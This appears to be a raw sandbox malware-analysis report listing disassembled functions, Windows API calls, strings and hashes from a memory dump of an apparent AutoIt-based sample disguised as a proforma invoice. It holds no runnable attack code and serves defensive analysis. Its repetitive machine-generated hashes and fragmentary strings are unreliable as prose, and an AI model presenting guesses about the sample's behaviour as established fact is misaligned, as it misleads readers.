Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: a3e35c5cb41f712149d687dc1e3d5f498d3e88efd80b24430ef2ee747d5d11fa
Instruction ID: 204cf708bcadb9cdcdda28ebfc0c9de7c9a0bbf77378ac9f136e8d5cc25ed836
Opcode Fuzzy Hash: a3e35c5cb41f712149d687dc1e3d5f498d3e88efd80b24430ef2ee747d5d11fa
Instruction Fuzzy Hash: 99317031210605AFDF209E38DC85BE777A9EB48334F204726F975922D1D778AC619764

Function 00486E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 00486EED
VariantCopyInd.OLEAUT32(?,?), ref: 00486F08
VariantClear.OLEAUT32(?), ref: 00486F12

Strings

*jH, xrefs: 00486E8B, 00486E90, 00486EF8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *jH
API String ID: 2173805711-764301483
Opcode ID: 2f7f44927b0ce6e65b90ce0a89e67f274ff4e67c5affd040ccba11c8ba483775
Instruction ID: ac4effc132183ce3479042e71129b3a4e07c477b6cb3d441e5c3a415d3bdc5f8
Opcode Fuzzy Hash: 2f7f44927b0ce6e65b90ce0a89e67f274ff4e67c5affd040ccba11c8ba483775
Instruction Fuzzy Hash: CB31A171704255DBCB05BF65E8909BE3775EF88308B1108AEFB064B2A1C738D912EBD9

Function 004A304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004A335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,004A3077,?,?), ref: 004A3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 004A307A
_wcslen.LIBCMT ref: 004A309B
htons.WSOCK32(00000000,?,?,00000000), ref: 004A3106

Strings

255.255.255.255, xrefs: 004A3095, 004A309A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 1a5cb7c6f8ac9489257cc064ff0c1e4dfb5bdaf805dbd42b5abbcb582ef90f6f
Instruction ID: e774f241db1fb02ff180f282e4c431f0812ee727b11b93867dede219b511785f
Opcode Fuzzy Hash: 1a5cb7c6f8ac9489257cc064ff0c1e4dfb5bdaf805dbd42b5abbcb582ef90f6f
Instruction Fuzzy Hash: 503107352042019FCB10CF69C485EAA77E0EF26319F24805AF8158F392EB39EE41C765

Function 004B4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 004B4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 004B4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 004B471A

Strings

msctls_updown32, xrefs: 004B4684

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: f82be2eeab1e12ce25c934dde41d5a09f57d8e26b90a3bd7c678d7a09a7fc234
Instruction ID: 70f1b440d169892d890dcbacfb40e469e6d13cc0af1cb9bc3e38db8c01cf0f87
Opcode Fuzzy Hash: f82be2eeab1e12ce25c934dde41d5a09f57d8e26b90a3bd7c678d7a09a7fc234
Instruction Fuzzy Hash: 572132B5600205AFDB10DF65DCC1DB737ADEB9A358B14015AFA0097361DB75EC21CA74

Function 004895AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0048961D

Strings

#notrayicon, xrefs: 004895B7
#requireadmin, xrefs: 004895D9
#OnAutoItStartRegister, xrefs: 004895F3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 083b588d2608da123dc0eea4297a5cb09e6ec1d012f1203e1553f0b5700930c8
Instruction ID: 8b665dd323efb9f2dba6666a9c507dfa533ed268a469f9ccfb59864a218d5ee9
Opcode Fuzzy Hash: 083b588d2608da123dc0eea4297a5cb09e6ec1d012f1203e1553f0b5700930c8
Instruction Fuzzy Hash: 7821387220492066D331BA259C02FBF73D89FA5314F58482FF949A7241FB5DAD46C3AD

Function 004B37B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 004B3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 004B3850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 004B3876

Strings

Listbox, xrefs: 004B380F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 3b91f3be9f384d003283e0c03bad898c98a46748bd223ad46c28a3864428da1b
Instruction ID: e631bfddd83fd2cb719c87a705301737f3890382b0f971c4e61941e767bdac22
Opcode Fuzzy Hash: 3b91f3be9f384d003283e0c03bad898c98a46748bd223ad46c28a3864428da1b
Instruction Fuzzy Hash: D421F272600118BBEF119F56CC84FFB37AEEF89754F108126F9009B290CA75DC1287A4

Function 004949F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00494A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00494A5C
SetErrorMode.KERNEL32(00000000,?,?,004BCC08), ref: 00494AD0

Strings

%lu, xrefs: 00494A6F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: b4025d4e7d137b08b4f2b74261b74566e04a1c5f9597c6bffebb024ca201ec6d
Instruction ID: 66d0c237914ec711c5d637fc1125b9ca6e1da710b368250bb5100d2eb150f541
Opcode Fuzzy Hash: b4025d4e7d137b08b4f2b74261b74566e04a1c5f9597c6bffebb024ca201ec6d
Instruction Fuzzy Hash: EA314F75A00108AFDB10DF55C885EAA7BF8EF48308F1440AAF505EB252D775ED46CB65

Function 004B41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 004B424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 004B4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 004B4271

Strings

msctls_trackbar32, xrefs: 004B4226

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 01d06bf3f5704b66f945f0b061007fd55e58c3d053b1e7eac3a0ff6c0efe14a5
Instruction ID: 204ca203c13002ab3d639ae452addea04f5b4267f41e80a55fd05f08e03e7b4e
Opcode Fuzzy Hash: 01d06bf3f5704b66f945f0b061007fd55e58c3d053b1e7eac3a0ff6c0efe14a5
Instruction Fuzzy Hash: A711E331240248BEEF209E29CC46FEB3BACEF95B64F110129FA55E21A1D275DC119B68

Function 00482F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

Part of subcall function 00482DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00482DC5
Part of subcall function 00482DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00482DD6
Part of subcall function 00482DA7: GetCurrentThreadId.KERNEL32 ref: 00482DDD
Part of subcall function 00482DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00482DE4

GetFocus.USER32 ref: 00482F78

Part of subcall function 00482DEE: GetParent.USER32(00000000), ref: 00482DF9

GetClassNameW.USER32(?,?,00000100), ref: 00482FC3
EnumChildWindows.USER32(?,0048303B), ref: 00482FEB

Strings

%s%d, xrefs: 00482FFF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 643ae62dce4d4d7ba371c44689d63e60232847ffba0135f477f2ec708deacf5a
Instruction ID: a4538c820e21ac1caddba05055e1d08bee8d88a6c2a9986f0ff6b7da4fe22347
Opcode Fuzzy Hash: 643ae62dce4d4d7ba371c44689d63e60232847ffba0135f477f2ec708deacf5a
Instruction Fuzzy Hash: D911D2717002156BCF10BF759CC5EEE3BAAAF84309F04447BF9099B252DE7899498B78

Function 004B5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 004B58C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 004B58EE
DrawMenuBar.USER32(?), ref: 004B58FD

Strings

0, xrefs: 004B588F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: e9db235fddd527d3c29f93ddecf2b0d546dbed14ed45ae581df3712772d23cac
Instruction ID: ca80ad3e9d66659a38455b140cc0775a5c25ddc9b04a7f41823da67ed56f4b11
Opcode Fuzzy Hash: e9db235fddd527d3c29f93ddecf2b0d546dbed14ed45ae581df3712772d23cac
Instruction Fuzzy Hash: C3016D71500218EFDB219F21DC85BEFBBB4FB45364F1480AAE849D6251DB348A84EF39

Function 0047D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 0047D3BF
FreeLibrary.KERNEL32 ref: 0047D3E5

Strings

X64, xrefs: 0047D2A8
GetSystemWow64DirectoryW, xrefs: 0047D3B9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 0b8d616db385dfffcdef5f08b44d712a8af3f4131849a941405d62ebcfba0b75
Instruction ID: 20bd7460cb6750d3814360168ae0a30faa0cd7d032d5132e753d26021e2cf226
Opcode Fuzzy Hash: 0b8d616db385dfffcdef5f08b44d712a8af3f4131849a941405d62ebcfba0b75
Instruction Fuzzy Hash: EBF02721C1151087D33102104CD4AEA3234AF10701F55C297EC09F1249D75CCC4746AE

Function 0048007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de09f925af759e0ff21854ccfe1760e45a3a0db6480da31815d5f878691ee075
Instruction ID: 9ab60f6b421474d75d033d00a5a42908e79777749b3cc866d70c2233b6bf3388
Opcode Fuzzy Hash: de09f925af759e0ff21854ccfe1760e45a3a0db6480da31815d5f878691ee075
Instruction Fuzzy Hash: A9C19D35A10206EFDB54DF98C888EAEB7B5FF48304F108999E805EB251C735EE45CB94

Function 004A342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004A3459
CoUninitialize.OLE32 ref: 004A3463
VariantInit.OLEAUT32(?), ref: 004A346E
VariantClear.OLEAUT32(?), ref: 004A371B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: c974e687992121a6a7449308707f58d0d5d117612c31908c5a80fa048ea162f8
Instruction ID: 9fcc5de707a8e1feaef9ec97938c0ec05c1f4c8a7a4b3635c7b2dc1e05caad9f
Opcode Fuzzy Hash: c974e687992121a6a7449308707f58d0d5d117612c31908c5a80fa048ea162f8
Instruction Fuzzy Hash: 53A17E75604310AFC710DF29C485A1AB7E4FF89319F04885EF98A9B362DB38ED41CB99

Function 00480436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,004BFC08,?), ref: 004805F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,004BFC08,?), ref: 00480608
CLSIDFromProgID.OLE32(?,?,00000000,004BCC40,000000FF,?,00000000,00000800,00000000,?,004BFC08,?), ref: 0048062D
_memcmp.LIBVCRUNTIME ref: 0048064E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: a492fe47d32009352089cc66d2d23a7e60a186398d0989753c7cb0140ebcf853
Instruction ID: fc907545fdf7bf24e909cb1e6184a20627883c6e2c8fe4f2b972bc731ada71bb
Opcode Fuzzy Hash: a492fe47d32009352089cc66d2d23a7e60a186398d0989753c7cb0140ebcf853
Instruction Fuzzy Hash: 65816A71A10109EFCB04DF98C984EEEB7B9FF89305F204559F506AB250DB35AE0ACB64

Function 00461391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004614C0

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 17ba1484cf829d3327b6c6cde29d96cfd78def2cf112363784942f9f5fb4a74c
Instruction ID: 1bfe3a0a426df0d41724d4e10dee73d1c6b4362e24bf8546ed1f722f5aa4c58e
Opcode Fuzzy Hash: 17ba1484cf829d3327b6c6cde29d96cfd78def2cf112363784942f9f5fb4a74c
Instruction Fuzzy Hash: 2E413F31900110ABEB256BBA8C456BF3AA4EF41374F1C426BF815D73B2FA7C4C45526B

Function 004B6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(017AE060,?), ref: 004B62E2
ScreenToClient.USER32(?,?), ref: 004B6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 004B6382

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: fefe5fa3ee83f83da7a65df4fc1d8efff5f673be0dd509f6f301032b299389f2
Instruction ID: d8406250de2cbef6bdd8d73f0f24ec65dcaf85515f3c220e4f41130a1a425617
Opcode Fuzzy Hash: fefe5fa3ee83f83da7a65df4fc1d8efff5f673be0dd509f6f301032b299389f2
Instruction Fuzzy Hash: 9B514B70A00209EFDB14DF68D8809EE7BF5EB55360F11826AF915973A0D738ED51CBA4

Function 004A1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 004A1AFD
WSAGetLastError.WSOCK32 ref: 004A1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 004A1B8A
WSAGetLastError.WSOCK32 ref: 004A1B94

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 94f5da5c05df3d2cc175c750d77d5f1da24ce8200136cc1a9dbde37e766e33d4
Instruction ID: ba6158d5fc3aff056c11d256bdc5ff1c03b58d06852d8cdb6ee353809788f6b0
Opcode Fuzzy Hash: 94f5da5c05df3d2cc175c750d77d5f1da24ce8200136cc1a9dbde37e766e33d4
Instruction Fuzzy Hash: 0D41F134600200AFE720AF20D886F2A77E5AB48318F54854DF91A9F7D2D77AED418B94

Function 0045B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1208194b4ad79bb7beba527b6985801d36ee099beef74277667249bdbc301f5
Instruction ID: 0a59505293fa7104a2b326d0f3faf6bc19c3567bcacbad053ccd949c0be44746
Opcode Fuzzy Hash: d1208194b4ad79bb7beba527b6985801d36ee099beef74277667249bdbc301f5
Instruction Fuzzy Hash: 39411771A00304BFD7249F39CC41B6ABBA9EB89715F20452FF941DB292E379A90587C4

